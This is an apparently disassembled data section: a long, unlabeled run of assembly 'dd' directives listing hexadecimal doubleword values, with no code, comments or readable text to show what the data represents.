dd 57BB0643h, 1BD39139h, 91752FCEh, 92D1F381h, 4E446258h
dd 0EA516A73h, 0D0E2DCB0h, 57815E82h, 0A7823CDBh, 8103A0h
dd 0B7575926h, 0C9520EFAh, 857AB6F0h, 23BBC05Ah, 0FEC76DC7h
dd 0ACCC5B03h, 0F4BCD5DBh, 8B8C2DBh, 87B1A823h, 0A94F959Fh
dd 81DC9878h, 0D6DEE401h, 0A07D309Dh, 21D02BC7h, 9DB79A84h
dd 0ECA9F1E0h, 1E320F9Eh, 6E44506Fh, 668C8CD9h, 8BF48787h
dd 9C793D24h, 0B5F7C2h, 0A47230F4h, 3D733196h, 652D792Ah
dd 943CE2BEh, 88238FD9h, 381740CEh, 8CA43CBDh, 0FD7A10A9h
dd 542D828Ch, 285C0C5Dh, 43F0FAA0h, 0CE4484A0h, 13E3400Dh
dd 701D202Ch, 0ED02C8Eh, 53D227E8h, 0DE0C09F9h, 0E953BC8Ah
dd 0D9B5732Fh, 0F74B19DCh, 0DED1DEC3h, 18E3EE86h, 3A6499C5h
dd 21E061B8h, 76830728h, 26ED2994h, 99ACA5A0h, 8EE72B5Ch
dd 2FB70D6h, 2549DBA1h, 9B303D9Bh, 0C6B53653h, 0A6E1C235h
dd 5A205D99h, 4AB3555Dh, 61819971h, 6DE01C5h, 0D2671C14h
dd 0CD4AD835h, 4C8BD87Dh, 7C974D70h, 3EB97FC2h, 8B8886C4h
dd 6EE3E265h, 0B4E2680Bh, 0DF72BEB1h, 366DD572h, 0FCDACD0Dh
dd 154ADF0Dh, 1E6F9673h, 4CE1201Ch, 4BB652B4h, 696FB553h
dd 8E093A28h, 0A76DD8E8h, 4E143A6h, 8578C3DEh, 0D16DE775h
dd 59D7ABC9h, 5DDB0E4Bh, 0CB8AD338h, 9E0439F4h, 0EE29553Bh
dd 0EFFE1241h, 0EB05FF9Bh, 0C86586DDh, 0A8EB9D19h, 66284488h
dd 4B116954h, 704863A5h, 18405853h, 0F54F47A9h, 364C0B23h
dd 5B491D4Bh, 128C3F51h, 9BFE0A0Bh, 24B8C105h, 5D389DABh
dd 0A68AAAF3h, 409C28F4h, 94EB691h, 965B5F57h, 0A8A3030Dh
dd 4DAA1B15h, 0F4A01F2Fh, 0F5840DFh, 9A318252h, 0EB16EAFFh
dd 0C794528Fh, 0D267A796h, 0E74001FDh, 0D4F5A607h, 4C19968Ah
dd 4EE64F19h, 0AE67C07Ah, 404116C7h, 0A9C8791Fh, 0FA351BFBh
dd 97342335h, 0C0BD780Bh, 0F6BAAD0Fh, 6A464879h, 2177AE73h
dd 0AD80FB07h, 0F936A161h, 5AF8F887h, 0E44D16C4h, 9A664565h
dd 0B60221B8h, 0A8E4C526h, 0EB5AC16Bh, 0DBEF9EAFh, 0DE6E662Fh
dd 2437F702h, 0AA92B8CCh, 0E1ADDB8Ch, 53F9A60Fh, 5DEED51Fh
dd 0D3464A3Dh, 3EE7C20Ah, 4924C78Dh, 0BF2D3022h, 248633F0h
dd 0FBE7D3B4h, 0F4B92C96h, 958EEA2Bh, 3E963B79h, 6BF820E6h
dd 0F8ACA2AFh, 3AAA6B65h, 582056A3h, 2100BED0h, 9EBA51F3h
dd 0C2786704h, 404253CEh, 0FB3E46BFh, 871DBF59h, 58EBF0BFh
dd 0B6B7B07Fh, 0CE612405h, 4DED3E71h, 298DC0B3h, 3359AFC2h
dd 78C0EF56h, 61D5033Ch, 0C34E04AFh, 4519A82Eh, 0A0BBD41Dh
dd 0EF37A685h, 2E3EFCDAh, 95B32516h, 79E884D0h, 26EE781Ch
dd 0C362EA5Ch, 723BAE68h, 1872D220h, 0B0A9D8C8h, 94A1E123h
dd 0D5D27CC5h, 0B0AAD70Ch, 0EE10F9E0h, 42D58D9Ah, 0EE4144FCh
dd 9475B3A6h, 1FD9E066h, 30430820h, 0C3294847h, 2F5AA511h
dd 2043549Bh, 95373B96h, 0AF488101h, 9F2C964Dh, 1D887913h
dd 5A471EC2h, 8614628Fh, 83E94CF6h, 448BE3CFh, 3D90AE89h
dd 32136BEFh, 23907525h, 2DCE1CB4h, 8729CE28h, 0DF7ADE64h
dd 0BFCEC7CDh, 258B66A3h, 0DA875062h, 54B0C643h, 0D4F4BE81h
dd 0C79EA6C7h, 8C2430B0h, 6F44FC1Ah, 98422314h, 0DDE4C0C7h
dd 9F45E213h, 11EE03BAh, 0D979D05Bh, 3B5005F0h, 16D0B16Fh
dd 0CBD0F432h, 4FC105F7h, 2C9D8536h, 0F4C75CD3h, 0B83B0B9Ch
dd 5617601Dh, 0EDCC3E7Fh, 0AA34F57Ah, 7AFB4C1h, 0E18AB47Ah
dd 0DA0D7171h, 0E2A7616Dh, 1CA7A48Dh, 0E54539EAh, 806BC2D1h
dd 0E5B6B2E4h, 0F386C0E0h, 0FB5A0E11h, 0D23043C2h, 0B32A12Ch
dd 2E6418ACh, 0DF49721Eh, 270B9BE1h, 69798014h, 40E80624h
dd 600C55C2h, 3CA94752h, 820168E2h, 9107E8ABh, 71566F5Fh
dd 79661F8Dh, 44612846h, 0F88C9EA3h, 564EA944h, 1DDC869Eh
dd 0C2EBDEF6h, 56CB2AD3h, 0EC236EFAh, 0A378F9EBh, 0CB422593h
dd 7F9779E7h, 0E8445DBCh, 0A67C83D6h, 0A2D56017h, 18BD57B4h
dd 0ED88C52Eh, 748A73E6h, 23CB9F22h, 0B15DB64Ah, 0C025CF4Dh
dd 0ADD61EA9h, 83DF12CCh, 1A7C7C2Dh, 0FCCE10A2h, 0B7078721h
dd 6E3365DBh, 0A22FB30Ch, 39DEA640h, 0FB1DCD2Dh, 0F8FB1537h
dd 0A1F1CE66h, 38B903DFh, 5D5349E7h, 8C86C53Ah, 49EE4634h
dd 0F81E568h, 0BBBBEE09h, 3A472221h, 7ADAD2F4h, 0C79E2603h
dd 0B868105Dh, 3D27F0FBh, 330F5F7Ch, 0AAF4D180h, 0FC7FA177h
dd 0CA88F20Dh, 0B0C22E16h, 8786EEA4h, 17F1998h, 0C1BE13C8h
dd 0BB7BA17Eh, 0E6BDDA41h, 923558AAh, 54B858D6h, 0D8EC2B73h
dd 7033951Fh, 9F3E6F36h, 0D67E8CD3h, 0CB80D523h, 64196C28h
dd 8182DB77h, 4C551D04h
dd 945EFB6Dh, 8C2F226Ah, 49C8D2A8h, 43D99EA1h, 6D6A1D7Ah
dd 12F40D6Bh, 96D45040h, 7B86C343h, 61E834C4h, 5C53ABBBh
dd 8A1D2AF0h, 0CFC17360h, 61488BC3h, 0A7DE8FBFh, 0E4217C80h
dd 0BC3B85A0h, 5EC5FBC3h, 0B613922Fh, 62DAC6Bh, 24709D82h
dd 90D57FA8h, 0E8BAADA9h, 0F0AEA00Fh, 2DEB34D2h, 0FA740CF1h
dd 9C7A82AEh, 166B599h, 7BBD2383h, 2FFEF623h, 0EA51983Eh
dd 0B5284851h, 0B137F7F9h, 81B56DB0h, 0A75C2D35h, 0D571BBC0h
dd 4560219Ch, 0AC34A455h, 38AA78E8h, 4466F7AFh, 0B9D322CBh
dd 160D57AAh, 0E1667119h, 0EF6DB55Eh, 0FB751CEEh, 41A4B49Eh
dd 83AFE0D3h, 557B2290h, 0BB12255Eh, 0B62A3E6Ch, 8FEC5F36h
dd 0DEBC9625h, 67C6224Eh, 0A1433320h, 8B187C99h, 0F96E028Dh
dd 0C99EA495h, 0C8DC0DD7h, 8CEB7BACh, 0BE614696h, 0AAB7C198h
dd 3E1348C7h, 6842918Ch, 0EAB648AEh, 5A3F56E0h, 0AAB8BE57h
dd 5B0BB9A9h, 7B13166h, 7FBA0FFEh, 0DE11CAA6h, 84BA7940h
dd 0ACFC6649h, 0AFF6684Bh, 2488FF0Dh, 7A3405Ch, 884E81B1h
dd 824573F1h, 25632677h, 75572088h, 508693FAh, 335DE924h
dd 9AE50090h, 0E83F4049h, 948B42C1h, 697CBCD0h, 478EC9E6h
dd 724B9C52h, 1A9B73E6h, 0DCE13724h, 899B1146h, 0F462420h
dd 3000C04Ch, 0BEBE2960h, 0D4CB1786h, 0D002D84Dh, 6ED50FF2h
dd 0CBBEF947h, 0A97A9623h, 19DFEE10h, 9DE8795Ch, 90A78522h
dd 0C7299183h, 435F14B0h, 6130702h, 978354C2h, 65789EF2h
dd 8C334EFCh, 5E234631h, 0F2053FECh, 3473FDE3h, 12BEF6C5h
dd 34CDFBE4h, 5D770D2Ah, 0F8C1017Ch, 891C19C1h, 798CE726h
dd 44FCA776h, 0DC35E659h, 0F10E1373h, 598E251Dh, 4279D576h
dd 0F6EA2B67h, 0EC884121h, 38F80DD1h, 50BADE2Bh, 1E1E27E1h
dd 0EE3606E1h, 6C60B6CCh, 0F56794E5h, 68E96348h, 0CB78B283h
dd 4B92E400h, 0FBDD756h, 5B1E766Ah, 93F18EEFh, 0CBC5CDBCh
dd 6775B5F4h, 3B1042A7h, 2229D6D1h, 1C2D0907h, 98DD00A7h
dd 77CAE76Eh, 613CC649h, 8508A601h, 0E8D7A759h, 0DC295797h
dd 0D1FBDD32h, 42A0BBB1h, 0D8A56CD3h, 47F703CFh, 0D70627F6h
dd 0A8B16341h, 47AB8ECCh, 3BB7D4F1h, 14D780AAh, 17902E6Ch
dd 9A8E16D3h, 0FFE54642h, 0E9CEBF13h, 4B8C6C4Eh, 0B70C1D4Bh
dd 62849363h, 4DA48B7Eh, 0E31EF680h, 0E9D4D685h, 799E239Bh
dd 436C9916h, 1B33540Ah, 764873B0h, 0B1687095h, 60332DF0h
dd 0D1FDB2B4h, 5EA4F117h, 0E5BCC7E0h, 2E545ED7h, 1049F29Ah
dd 0F7336F76h, 0DB12AABCh, 30BE931Bh, 0ED4AAA5Eh, 8D63509Dh
dd 6C68E52Ch, 46A52A9Ch, 0DB3FF842h, 79BDFD8Ah, 1DA7B14Dh
dd 617A6C61h, 9D64A5FAh, 117C1F1Dh, 6C8C6930h, 0DF4BB9F5h
dd 3735FDC6h, 2E33CAAh, 0C405D1E6h, 80DEC67Fh, 0FBEC3EF8h
dd 6F06E19Bh, 8D8D54A5h, 0BB41B003h, 0AE6D4461h, 4C3D8CD0h
dd 0EE0B1107h, 72A2420Dh, 938CC03Dh, 0A751A15Eh, 0A7260A3Ah
dd 8D7EAE09h, 312E23D0h, 0A4AE4D26h, 0AF1A05B9h, 0FA93DB7Eh
dd 0FFF32031h, 26FD4D0Dh, 510F47ACh, 2CED62C0h, 0E950405Bh
dd 0B4EAF0C0h, 0A2393916h, 7F5995C3h, 0C07F3C1Fh, 8A330CDh
dd 7850D2D9h, 9DFF92D7h, 4081279Ch, 171D5772h, 82AE2227h
dd 52566C24h, 4C8F4700h, 182B944Fh, 2F64DE5Dh, 508FE7A3h
dd 0D67A3E22h, 46D84464h, 99F3CD27h, 0D6C5B33Eh, 9EDC3861h
dd 5A86615Ah, 0C73FE5D6h, 574B4965h, 90A54123h, 5D03A21Dh
dd 0B5C7CFCEh, 6936ABD7h, 2B68ED16h, 0AA3C8AB3h, 0D12A1BDBh
dd 0D732280Bh, 81C0AE26h, 0C65E4A1Fh, 5A69646Bh, 0CBFAC0B1h
dd 4F4231A9h, 0CCDBD41Eh, 0DBFE516Bh, 211BBA4Fh, 9B890D1Bh
dd 0A5BDB424h, 7D43A3FDh, 966501B9h, 0D8B6A5Ah, 0E104AED4h
dd 332C9613h, 0FEBC6B7Ah, 0A638CAC1h, 0A2B6FA49h, 23C84DECh
dd 14343B0Fh, 0E0E4A8Ch, 73321FAFh, 79ED5D7Bh, 8018E5EEh
dd 0F6076296h, 6EBE4C56h, 5AFC535Fh, 83B09696h, 0ED7C8595h
dd 0C85CEBC7h, 501CEE30h, 4518DEBBh, 27BABB4Ch, 0EEA09F08h
dd 0E23A627Bh, 633506C1h, 0D711BB32h, 7D7FF798h, 12F604A7h
dd 0C1AC22F0h, 427B05D7h, 9A85FBEFh, 0D3344DF3h, 0DA1F08A5h
dd 0BA2DEEB1h, 7E06D63Ch, 0AC6E18DAh, 25490F0Bh, 6C3B9688h
dd 0C2C11E15h, 69036FAEh, 0FBAD9DEh, 0F5E3F892h, 0BD5E7B0Dh
dd 0A6A83888h, 5AFB165Ch, 64A7D4Dh, 5D52C929h, 0C06C15BDh
dd 0A8BECD87h, 0AEBAFEEDh, 0CE76D1C7h, 8603A422h, 0CBD3656h
dd 5DE5753Dh, 506F14CCh, 8F317745h, 1827B699h, 2E808432h
dd 0D57E21B9h, 0C564CAB4h, 0DF6117CAh, 0D4E2FA3Ah, 1F4E5B02h
dd 0BB38B6BCh, 0C14C02FCh, 7BF38633h, 95A484DDh, 3900F0ACh
dd 0DF71C100h, 1E38B4B7h, 0BB5D95h, 0D300F816h, 3C99C87Eh
dd 64783F9Ah, 0D9DDF881h, 0A0B99F1Bh, 58586A83h, 4DF1E645h
dd 0D5E11845h, 0C0E2A139h, 0B0869D88h, 0E1691F0Ch, 6956E411h
dd 1504ED82h, 8814D4E7h, 0D9D69409h, 0FB8AC635h, 0E2F59A4Eh
dd 0F72759D3h, 42BEEC7Dh, 8C2271E0h, 6A57F99h, 0EF5CD64Bh
dd 0CE96AF7Ch, 1D725731h, 0B782698h, 96108C4Eh, 7E7C38B4h
dd 9BFCBF85h, 0A6767D1Fh, 58B1E1E9h, 0BCCAAF85h, 0AA92165Dh
dd 0C01EAEC2h, 817C3B8Ah, 2058060Eh, 0E0E683C6h, 2A3BA6A8h
dd 627892D5h, 385AF23Eh, 450F883Ch, 85284A31h, 0A15AD1A5h
dd 8A9CA434h, 0DB9C8A3Dh, 0B3FBBA9h, 1C82BFDEh, 0C2D01E10h
dd 2717656Fh, 0D90452EDh, 660D1D17h, 2325198Dh, 581166B6h
dd 0DDFD1CD4h, 53E0A14Fh, 0BEEA010Ah, 42CD609Ch, 58C73F96h
dd 0FEBB9A6Dh, 7C452847h, 0FB617753h, 815304A1h, 0B1B97835h
dd 273BCCFFh, 0F492B88Eh, 228A5B31h, 0D834AF85h, 0D58E4A8Eh
dd 29A60A7Ah, 4FE4CB1h, 0B2CF2BF5h, 8039DC1Bh, 0E81C435Ch
dd 0E85076BFh, 0BE5F870Eh, 5FF65156h, 0F3259880h, 8AD9F0E7h
dd 6435CB7Dh, 25623959h, 0FD2F49CCh, 9B9D879Dh, 0C63DFF52h
dd 3F690C17h, 1E51529Dh, 0FF1F58C8h, 0B29EA9D5h, 7BFA77B8h
dd 0BA31488Bh, 80F0B917h, 3854FCABh, 0FB7B645Dh, 14A2285Ah
dd 3C521E2Bh, 9D50BB1Fh, 9C0FDE2Ch, 9BD6EC4Fh, 5F74F00Ah
dd 77464303h, 63784CF7h, 6020B28Dh, 4801D20Eh, 0C8282C6Ah
dd 0E03E0E53h, 0E8F99Ah, 0AFECDFB1h, 13D23B38h, 0DD610F45h
dd 29539859h, 0FC28C386h, 0D19D22CBh, 0BA91216Ch, 0F9FD68D7h
dd 7D15E8ACh, 6CFA39B4h, 0C626CD6Eh, 0E47481C8h, 1355AFFEh
dd 0E2F8304Dh, 0FB09A81Ch, 0D1218E66h, 91D6C866h, 0E1B873B3h
dd 2EF58AF4h, 0C7C69D89h, 0B8F3A412h, 1FB5E75Dh, 67313701h
dd 6A2C097Ch, 14FE1B46h, 7ADB6369h, 0E4BA9CC8h, 30722A22h
dd 0A4C1D58Bh, 89EE1BBFh, 0D664C3B3h, 0D8D65766h, 0D055DA21h
dd 0CD35D5E4h, 7DC72E38h, 48DE8464h, 85A67294h, 0A2C7BD3Dh
dd 312E8832h, 0C2F09FD5h, 0EAB39BA2h, 99A64A7Dh, 0BB8FC0B2h
dd 0DB4D849h, 0F1D328A9h, 1ADC41BDh, 42AED373h, 8AADFD08h
dd 45787781h, 19488D1Fh, 0DA9BD1B0h, 89CD3C92h, 3755BDDCh
dd 2B25318Ah, 1852FF79h, 0E6991E0Eh, 2D1EF4BAh, 0FA9F0159h
dd 203B52Ah, 47A1CB0Bh, 961EEE79h, 0E8F54361h, 0D1C73AAAh
dd 0F4DEE384h, 8FF01ED7h, 5A004FF5h, 0F8C4E73Dh, 0F26E7AA0h
dd 1E9D8DA4h, 563D336Fh, 10D71A2Dh, 4AF189F6h, 0CB927EC9h
dd 452EFF8Ah, 329A4F1Dh, 4A7EC14Eh, 0B546724h, 0C1A9A601h
dd 0FD26F1A4h, 5CC2C039h
dd 0C999AE49h, 0A0C92273h, 96FFE04Ch, 7EDE86E3h, 0B61A0ABEh
dd 2EF34EA1h, 133C7524h, 71F64950h, 9B5810FCh, 42B1A48Dh
dd 7582F265h, 0A5A79C98h, 93546D16h, 0DDCCF3EEh, 0E61B16D4h
dd 1A7F8454h, 6E92EA7Dh, 0D2CAF71Ch, 40D49587h, 4DD0C2B2h
dd 694DDC23h, 0F566C08Fh, 79972610h, 6B4B9AC0h, 0BB89DBB8h
dd 36CDF15Fh, 76D22D91h, 7FA5AAC7h, 0FC87E1E4h, 0AE1E2B60h
dd 0BC6A21D2h, 9386E183h, 0B0A0D9E2h, 9056712Eh, 0F56F7080h
dd 0E5250F73h, 0DCAF7E39h, 9B3E3892h, 0A07B96A9h, 7A9CDFA2h
dd 82ECA37Eh, 0A2C1358Ah, 3F7D1734h, 0C48AF24Ah, 299D97F0h
dd 5D227D42h, 20F4C0AFh, 0BABCFE77h, 0DE159400h, 0D9A19A8h
dd 0A8CFD208h, 610A4F39h, 23D34C3Ah, 0A66809E1h, 39A2AF90h
dd 8FBF018Ah, 10B4F777h, 0B3638D5Dh, 0D88743CCh, 85FFEC4Eh
dd 855E5D47h, 13118ABCh, 0B9D3A992h, 812F4D47h, 313F2B44h
dd 1181DF9Dh, 0F28892E5h, 0ED90B192h, 2907E552h, 55C470BAh
dd 76FF53D9h, 135BBA2Bh, 1F698FF9h, 4D07C560h, 0D27E453Dh
dd 0EC241799h, 0EF9B173Dh, 660355ABh, 7FA709EFh, 20C7DA34h
dd 0FFF4CF81h, 6E376222h, 0A05F9B4Bh, 7467C8ACh, 919E9D78h
dd 79E41421h, 22C10136h, 8B1E8BF2h, 9EC76FD5h, 29A2C55Ah
dd 0B3DA0227h, 0C70383B0h, 95E5D740h, 0FA6CBB01h, 31923A4Eh
dd 0D7A7D63h, 0BB2B1873h, 61623662h, 6138CCEFh, 87B38A42h
dd 4E2FE0D5h, 9A8E3390h, 0BB02AF3Eh, 0FCF62884h, 8910229Dh
dd 0BD72FEEh, 4441FEBFh, 96E7D9A5h, 3C64C756h, 8E0A0EF3h
dd 903B7274h, 0C3CB011Bh, 347D70EAh, 1FC7A687h, 375FD69Ch
dd 0CC61F3BBh, 0F8586624h, 146E50CEh, 4AAAE655h, 0F30994D2h
dd 722DCACAh, 8ACC0D0Dh, 4E32E1BAh, 4C46F35Ah, 87F7847Fh
dd 0A4EBBB3Dh, 0BA396B85h, 0AF5237DBh, 6FFDADB9h, 4C085687h
dd 9216EFB0h, 750B4265h, 9D824A64h, 8C3CCBD7h, 45E90DFAh
dd 0E032CA53h, 0C1057ACDh, 88BB68DFh, 0DBEB3284h, 0A6157F20h
dd 0DE0E260Bh, 96D07B4Ah, 7865E160h, 0A2B4DA65h, 70F589AFh
dd 0D1669AA5h, 477E1665h, 0A599B601h, 0B2C797F1h, 40D77706h
dd 0D65A0564h, 3AC7F7Ah, 0EAA2EFDBh, 0B23A2B2Eh, 73A64921h
dd 0E8CECCAAh, 92177639h, 54E89879h, 31BD7372h, 6190CE5Ch
dd 0EAA0B52Fh, 57E3E5FEh, 69FB2D8Bh, 33B8FF4Ah, 0F81E34ACh
dd 2C4D4C28h, 0A72FC30Bh, 1C1E34B1h, 0D2E953A5h, 84DD4DEAh
dd 5B67D5EDh, 717B80D6h, 0D642B0Eh, 8AC096FFh, 0FC660635h
dd 0F21B1E06h, 555B7686h, 0B948D86Fh, 29161BA2h, 0BD99906Bh
dd 446DD943h, 29D2AB9Bh, 7D3183D1h, 94B9C727h, 0D5B0D84Fh
dd 0F85A5987h, 4D094E12h, 0D7666A19h, 981DBABh, 0A116ECF8h
dd 0A6F79F03h, 0A6493608h, 0B4D128BDh, 5E622588h, 0F4B2E209h
dd 0BF0E9C54h, 0AB85FF62h, 343DE2C4h, 8424F27Bh, 0D6A96B3Dh
dd 7DE89E5Ch, 91BA6E83h, 0D0C9143Dh, 0C6F32299h, 22AB447Bh
dd 2501C4F6h, 434B06FAh, 0D257E132h, 90995309h, 9F8660AEh
dd 804778B4h, 1501FC47h, 5457887Ch, 60EE69A8h, 0A3A2233Dh
dd 0DAEE0D03h, 0EF2873E3h, 93B99DC0h, 0A29BFFC2h, 0CCEED9F7h
dd 0C03DDFC2h, 0F8ABB48Fh, 0E0C81F76h, 6CAE5728h, 51C5383Ch
dd 0EE5386AFh, 686BC5F8h, 3D6AB8FEh, 0D28E3A7Ah, 8CB01439h
dd 0FE6893F5h, 4D2503B0h, 76C9A704h, 6F49E0F5h, 0A812ED04h
dd 0CFD00BFAh, 0ADD12DE9h, 0F6CEC5FFh, 0C879B4CCh, 822336E7h
dd 0C90074BDh, 97E4F5BEh, 4F479103h, 329C3509h, 0AC0FCC99h
dd 0EB3BDFB1h, 60D59F39h, 7054B032h, 9055DBD5h, 7A9AC3CFh
dd 0C07B27CBh, 0B1A5CD74h, 0C9246A82h, 67B5703Ah, 8694A87Ch
dd 3CA3805Ch, 286E4492h, 0C3395019h, 3223A1B3h, 0F49DB9B8h
dd 7BAA9C6Dh, 0E667FDADh, 7DDF3A51h, 0A4FB3CD9h, 0D1BCF85Fh
dd 0EED4198Ch, 0F88EB4EFh, 8B940560h, 0CD8D8C85h, 0BEBFC1B2h
dd 1D6C71C6h, 4B811444h, 0B8F6918Eh, 0C49C9053h, 0FD0E8DD6h
dd 0E8FC0B91h, 746F458Fh, 64E04942h, 538770A8h, 0F0112572h
dd 23982AB3h, 73249D8Bh, 0EDEE04A3h, 0B96957F3h, 0F51F3D14h
dd 210E6572h, 72065068h, 23BC72A3h, 7F5C956Dh, 847D963Bh
dd 0F0A6FF5Fh, 30A73594h, 5A7CB0DEh, 0EA92909h, 342B43C2h
dd 7B042E8Ah, 0BBA48A80h, 2DC44E7Fh, 443B7BDh, 77127650h
dd 0E6529538h, 883BD42Ah, 0A96DE7FFh, 7A4017A7h, 1C3AFEACh
dd 451DD2F1h, 282256E5h, 0FD20CF9Fh, 0B0A9CE23h, 39D8F571h
dd 3D4DB8B7h, 3A700102h, 531D22F5h, 0F9B575C5h, 99045ECDh
dd 77A351F8h, 22006F54h, 7B5ECDE9h, 4C39400Fh, 0FF813A98h
dd 4570463Fh, 0AEADC9D4h, 734288BDh, 0DD80A7E6h, 7E4788Dh
dd 2A296786h, 30CC5E81h, 5AE8F832h, 0E979BE9Fh, 0D8D34C07h
dd 8CFD4C7Bh, 0A26385EAh, 0FEF84832h, 357A05C7h, 0F274411Dh
dd 11F5A576h, 3CA85E6Ah, 2CBA5255h, 9DF7B259h, 64E1192Eh
dd 5CCCCC82h, 29D30C6Bh, 0E86AE415h, 8610541Dh, 923D584Eh
dd 0C6847323h, 5306DC34h, 0F34209A0h, 78643FC0h, 1F18DAB1h
dd 0EAED417Bh, 36167DB6h, 18C25044h, 97C70881h, 0C9FAA1F4h
dd 12F4B016h, 6B651735h, 0D1C9DE10h, 512D7BA2h, 4A675E2Ah
dd 0A5AF9252h, 0A6D0D15Dh, 0A4F38893h, 0A278F4F8h, 3AC6D431h
dd 0C614DA53h, 9C81DCD6h, 0D44B6307h, 0BF3A6D5Ah, 58F7C948h
dd 2DCFE62Dh, 37A01F6Bh, 3002BA0Dh, 824B4B8Bh, 0EF3FC648h
dd 8BFF50E9h, 5FC90490h, 0BD4DE926h, 85C4D104h, 0E14F7489h
dd 3C2A4B5Bh, 0C97A85C6h, 7E9F420Ch, 0BE500E30h, 955EC55Ch
dd 0F32BF488h, 4D5D398Fh, 922DF1C6h, 0B21619Fh, 0D6EC59F3h
dd 985BD9B5h, 3BEC0D74h, 0D3DA93C0h, 6CDF85C8h, 0ADDC2EB2h
dd 0A263682Eh, 0C98630BCh, 0F83638DFh, 19C965CAh, 127D434h
dd 51D193CDh, 2FE227CBh, 4E80649Bh, 5B720h, 97F0B2FBh
dd 0D4BCC17h, 86321B78h, 0CA0EFF25h, 2971B04Eh, 3AD49528h
dd 0B84B8062h, 60452A3Dh, 6E75C1B1h, 7A42FDA7h, 6F70B970h
dd 1CA0BBCBh, 331D0C20h, 0C82F71B7h, 18A112E1h, 0EC2DB46h
dd 42059961h, 929DFDh, 56C13047h, 78592105h, 1301E24Eh
dd 4C581EE0h, 0B3CB8DFEh, 460716C9h, 0CB6BA5Ch, 71F97DD4h
dd 0C681A4D8h, 0A7A7B012h, 2BCE2E3Ah, 554788E2h, 2F109749h
dd 0F8C66AFCh, 5035849Bh, 2B71ADD8h, 641145C9h, 0CC2847E0h
dd 226246F8h, 0BA572EAh, 0CD579923h, 22C3988Eh, 56AD0A7Bh
dd 350D02C3h, 9B0665B9h, 380AEBD6h, 930281Bh, 0CD2ADD6Bh
dd 19AB2E03h, 0DC97D08Ah, 48DB1CD1h, 9F90054Dh, 32D517A6h
dd 0BF0E6BD7h, 0F63D3B3h, 230C334Eh, 2013157Eh, 94599BE6h
dd 32A3D8BDh, 7ABB564Bh, 0E3E16C3Fh, 0B1F089F7h, 87935B85h
dd 0D48A3653h, 13726443h, 3D6DB991h, 7822F5E9h, 8735C338h
dd 781542FAh, 0B1CBAEC0h, 18E2E776h, 58D68A23h, 0C9C44CE0h
dd 0F1BD81A7h, 72BA5375h, 50137B16h, 68029C53h, 0EED414D2h
dd 1EEED286h, 0D55FC4A1h, 54E5E9D2h, 0D8B1A450h, 0B9AFC989h
dd 37FFEA4Dh, 0FDFEE2DEh, 8A59920Ah, 75A73491h, 9025CC0Eh
dd 8E5A7FA4h, 67288B71h, 6A76729Eh, 12000040h, 7D2DC1FEh
dd 0A6C32D3Fh, 8E8F2217h, 0C2F5A904h, 26507DCCh, 7387C67Ch
dd 0E3D579C6h, 88D94D4Fh, 3E05F09Fh, 71959DA7h, 0C0013784h
dd 1B5BF708h, 0D0F4A945h, 9CE4E243h, 0B8FD7C91h, 0E49E28F8h
dd 292EBA45h, 66EA6939h
dd 9396BEC4h, 1A39ED6Fh, 0AA49FA49h, 40F29BA2h, 0D149AD59h
dd 9F1CC1h, 15DFAE1Ah, 0A87E78A1h, 2D2E57E3h, 0D67EEF12h
dd 34B1D13h, 31AAA7B1h, 25C26FF9h, 1295FFF6h, 7465008h
dd 0D4FD8B5h, 4C5E31E1h, 4087CF89h, 1A14BDB6h, 4D947A85h
dd 0F13D80A2h, 795B9A9Eh, 255EA1FFh, 36B1C83Dh, 6274F004h
dd 37D0A61Ch, 299FA6E4h, 9300CD35h, 3E213A07h, 377B16BAh
dd 610E69FEh, 0A76B35B0h, 0E5870914h, 30B5629Dh, 540EE62Fh
dd 0A3046905h, 0ED1D8F37h, 3D43006Eh, 5D8707D0h, 8E729D55h
dd 7FF7E618h, 6C8A337Eh, 11039F07h, 0B3AACD04h, 7A3DE8D5h
dd 55C7851Ah, 2D9A5058h, 5268E946h, 0A17492F9h, 6BAD7A77h
dd 692C1520h, 0A646DD23h, 69855854h, 0A5CB910Dh, 0CF703775h
dd 0D15ABFEDh, 8C362FEBh, 73923143h, 1F6FAE75h, 2B1A5DF8h
dd 0C489DBA5h, 9F545DBAh, 91DC569h, 0D131FE22h, 609E11C8h
dd 0FF6A924Ah, 0AB5E63A3h, 349DD27Eh, 9218983Fh, 0C5116B3Eh
dd 3125D825h, 497BC5E6h, 0FF1E2693h, 3C28340Bh, 2BBA835h
dd 0D830E131h, 6BE0D51Ch, 96695EC9h, 92CFBEBFh, 197C0446h
dd 0CEFEF033h, 0BA635D1Ah, 0DD1A089Ah, 1F3E74A5h, 1D4206C6h
dd 0AAE4116Eh, 4E8E274Ah, 0ED34A0B9h, 3F564389h, 0CCFB6074h
dd 0A2CD94ABh, 190B8C26h, 2CDDCAB4h, 0BDB744D7h, 0CB65D592h
dd 0F4C2AE18h, 837E7037h, 96E630C0h, 14860310h, 5045DD25h
dd 549B31C7h, 20F7FA0Ah, 5597371Fh, 178BDC74h, 5AF51AF4h
dd 0A9016834h, 4E90C52Ah, 0CA7CFAD2h, 3DBFC9D6h, 226E0CD2h
dd 92A4112Fh, 9EB561C3h, 0BC119768h, 0D71324E5h, 0F43A140Eh
dd 26898179h, 838D719Ch, 4D7E9462h, 0DDE49E01h, 9D0EBB5Ah
dd 0C3A36912h, 0AA4F84A9h, 1E5AE2B4h, 8136C68Eh, 0E3A9B6Ch
dd 0E506B155h, 89B3204Fh, 4FE0341Dh, 97B10FE6h, 0A9F054DBh
dd 0F36C1F8Ch, 0EF054CCAh, 0EF7BE29Dh, 266B82A1h, 45F3C510h
dd 0F3D0C61Eh, 0E70B09EDh, 0DA60FACFh, 341617DCh, 3B4DBCCBh
dd 92B4A8E8h, 0BD43E393h, 85246B2Eh, 0B567618Dh, 72D2EED1h
dd 7146685Ch, 0E3DF6532h, 0A7438C2h, 40E61640h, 0EDB12339h
dd 977721BFh, 6A5BFEB3h, 0E7E727D0h, 7DCC1241h, 5E92691Ch
dd 7A4F980Ah, 4123EF12h, 898FB920h, 2223AF1h, 0A01431FBh
dd 3766047h, 0EA102004h, 4BCE97D1h, 9E5E351Ah, 645EE305h
dd 0F7FA098Dh, 0FB579ED0h, 29A0471h, 4DCF39B1h, 71F1A5Fh
dd 12A5D891h, 25F4EF78h, 8D3C4001h, 9049B7E3h, 0D181A3E2h
dd 8752C4A6h, 0EAF9D868h, 65816A0Ah, 0A28453DEh, 87E6BA13h
dd 3093DFA6h, 49F6D1DBh, 0BC67DACCh, 18400965h, 0F85F9887h
dd 9874338Eh, 7F88EE4Fh, 0E7B4EB50h, 89D17828h, 73F83365h
